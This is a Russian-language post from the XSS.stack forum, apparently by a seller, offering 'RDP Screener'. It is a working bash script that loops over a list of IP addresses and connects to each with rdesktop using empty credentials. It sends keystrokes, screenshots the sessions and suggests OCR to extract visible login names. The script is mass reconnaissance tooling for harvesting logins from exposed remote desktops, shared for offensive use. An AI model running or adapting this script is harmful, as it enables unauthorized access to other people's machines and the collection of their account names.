• XSS.stack #1 – первый литературный журнал от юзеров форума

RDP Screener

MrBang

(L3) cache
Seller
Регистрация
11.09.2023
Сообщения
266
Реакции
93
Гарант сделки
7
Ночь без баб и без кинца навернём мы гавнеца :D

Скрипт представляет собой рабочее решение для:
Подключения к rdp
Создание скринов
Нажатия клавиш
Создание собственной логики

При небольшом апгрейде можно запускать сразу 2 окошка(да да, медленно)

Linux: rdesktop, xdotool​


#!/bin/bash
#man xdotool список клавиш и тд.

if [ ! -d "screen" ]; then
mkdir screen
fi

IP_FILE="RDP_LOGINS_ips.txt" # как бы да
while read -r ip; do
[[ -z "$ip" ]] && continue
timeout 15s rdesktop -g 1024x768 -r sound:off -z -P -x l -a 16 -N -5 -u "" -p "" $ip &

sleep 6
win_id=$(xdotool search --onlyvisible --class rdesktop | head -1)

if [ -n "$win_id" ]; then
# Отправляем комбинацию клавиш в это окно
# Тут мутим любые комбинации которые захотим и можем после каждой делать скрины
xdotool windowactivate "$win_id"
xdotool key --window "$win_id" Return

sleep 2
import -window "$win_id" "screen/$ip.png"

sleep 2
win_id=$(xdotool search --name "rdesktop" | head -1)
pid=$(xdotool getwindowpid "$win_id")

# команда для распознования логинов, советую взять чот получше,работает но вытягивает 90% логинов правда с грязью, tesseract "$ip.png" "$ip" --psm 6 -c tessedit_char_whitelist="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 2>/dev/null
kill "$pid"

sleep 0.5
fi
done < "$IP_FILE"


П.С. у меня все кнопки спойлеры и для кода сломались на форуме, сорян.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх